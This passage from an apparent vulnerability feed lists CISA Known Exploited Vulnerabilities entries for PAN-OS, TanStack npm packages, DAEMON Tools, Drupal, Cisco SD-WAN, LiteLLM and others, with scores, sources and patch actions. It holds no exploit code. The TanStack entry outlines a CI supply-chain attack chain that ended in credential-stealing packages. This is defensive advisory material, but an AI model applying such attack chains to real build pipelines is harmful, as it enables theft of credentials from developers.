CISA KEV entry CVE-2024-21182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25
CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2024-21182
CISA added this entry on 2026-06-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 1, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2026-0257
Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Oct 20, 2026).
Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched...
 Source
CVSS 7.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0257).
EPSS 95.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25).
Sources:
DataBreaches.net: Qilin and INC Ransomware Groups Exploit Palo Alto Networks Flaw to Bypass MFA: https://databreaches.net/2026/10/20/qilin-and-inc-ransomware-groups-exploit-palo-alto-networks-flaw-to-bypass-mfa/
DataBreaches.net syndication feed: https://databreaches.net/feed/
NVD CVE-2026-0257: https://nvd.nist.gov/vuln/detail/CVE-2026-0257
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-0257: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25
Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched...
 Source

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 29, 2026; federal due date Jun 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nx Console Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2026-48027
Nx Console Embedded Malicious Code Vulnerability (May 27, 2026).
Nx Console contains an embedded malicious code vulnerability that allowed a malicious version of Nx Console to be published. The compromised extension fetched an obfuscated payload that could harvested credentials from multiple sources on disk and in memory.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48027: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25
CISA added this entry on 2026-05-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 27, 2026; federal due date Jun 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TanStack Unspecified Vulnerability
https://kevwire.com/record/CVE-2026-45321
TanStack Unspecified Vulnerability (May 12, 2026).
On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45321).
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25).
Sources:
NVD CVE-2026-45321: https://nvd.nist.gov/vuln/detail/CVE-2026-45321
Vendor advisory (via NVD references): https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-45321: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25
On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 27, 2026; federal due date Jun 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Daemon Tools Lite Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2026-8398
Daemon Tools Lite Embedded Malicious Code Vulnerability (May 15, 2026).
A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8398).
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25).
Sources:
NVD CVE-2026-8398: https://nvd.nist.gov/vuln/detail/CVE-2026-8398
Vendor advisory (via NVD references): https://blog.daemon-tools.cc/post/security-incident
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-8398: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25
A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 27, 2026; federal due date May 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### LiteSpeed cPanel Plugin Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2026-48172
LiteSpeed cPanel Plugin Privilege Escalation Vulnerability (May 26, 2026).
LiteSpeed cPanel Plugin contains privilege escalation vulnerability that is exposed via the user-end cPanel plugin, which can be abused by any cPanel user account to execute arbitrary scripts with root privileges.
EPSS 17.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48172: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25
CISA added this entry on 2026-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 26, 2026; federal due date May 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Drupal Core SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-9082
Drupal Core SQL Injection Vulnerability (May 22, 2026).
Drupal Core contains a SQL injection vulnerability that could allow for privilege escalation and remote code execution via specially crafted requests sent with the database abstraction API.
EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-9082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25
CISA added this entry on 2026-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 22, 2026; federal due date May 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Langflow Origin Validation Error Vulnerability
https://kevwire.com/record/CVE-2025-34291
Langflow Origin Validation Error Vulnerability (May 21, 2026).
Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints.
EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-34291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25
CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 21, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2026-34926
Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability (May 21, 2026).
Trend Micro Apex One (on-premise) contains a directory traversal vulnerability that could allow a pre-authenticated local attacker to modify a key table on the server to inject malicious code to deploy to agents on affected installations.
EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34926: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25
CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 21, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2008-4250
Microsoft Windows Buffer Overflow Vulnerability (May 20, 2026).
Microsoft Windows contains a buffer overflow vulnerability in the Windows Server Service that allows remote attackers to execute arbitrary code via a crafted RPC request that triggers an overflow during path canonicalization.
EPSS 98.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-4250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft DirectX NULL Byte Overwrite Vulnerability
https://kevwire.com/record/CVE-2009-1537
Microsoft DirectX NULL Byte Overwrite Vulnerability (May 20, 2026).
Microsoft DirectX contains a NULL byte overwrite vulnerability in the QuickTime Movie Parser Filter in quartz.dll in DirectShow which could allow remote attackers to execute arbitrary code via a crafted QuickTime media file.
EPSS 51.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-1537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2009-3459
Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability (May 20, 2026).
Adobe Acrobat and Reader contain a heap-based buffer overflow vulnerability which could allow remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption.
EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-3459: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2010-0249
Microsoft Internet Explorer Use-After-Free Vulnerability (May 20, 2026).
Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2010-0806
Microsoft Internet Explorer Use-After-Free Vulnerability (May 20, 2026).
Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 82.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0806: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Defender Link Following Vulnerability
https://kevwire.com/record/CVE-2026-41091
Microsoft Defender Link Following Vulnerability (May 20, 2026).
Microsoft Defender contains a link following vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-41091: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Defender Denial of Service Vulnerability
https://kevwire.com/record/CVE-2026-45498
Microsoft Defender Denial of Service Vulnerability (May 20, 2026).
Microsoft Defender contains an unspecified vulnerability that allows for denial of service.
EPSS 63.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-45498: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25
CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2026-42897
Microsoft Exchange Server Cross-Site Scripting Vulnerability (May 15, 2026).
Microsoft Exchange Server contains a cross-site scripting vulnerability during web page generation in Outlook Web Access and when certain interaction conditions are met, arbitrary JavaScript can be executed in the browser context.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42897).
EPSS 70.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-42897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD CVE-2026-42897: https://nvd.nist.gov/vuln/detail/CVE-2026-42897
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25
CISA added this entry on 2026-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 15, 2026; federal due date May 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2026-20182
Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability (May 14, 2026).
May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks.&nbsp;

A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.
This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20182).
EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25).
Sources:
NVD CVE-2026-20182: https://nvd.nist.gov/vuln/detail/CVE-2026-20182
Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-20182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25
May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks.&nbsp;

A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.
This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 14, 2026; federal due date May 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BerriAI LiteLLM SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-42208
BerriAI LiteLLM SQL Injection Vulnerability (May 8, 2026).
BerriAI LiteLLM contains a SQL injection vulnerability that allows an attacker to read data from the proxy's database and potentially modify it, leading to unauthorized access to the proxy and the credentials it manages.
EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-42208: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25
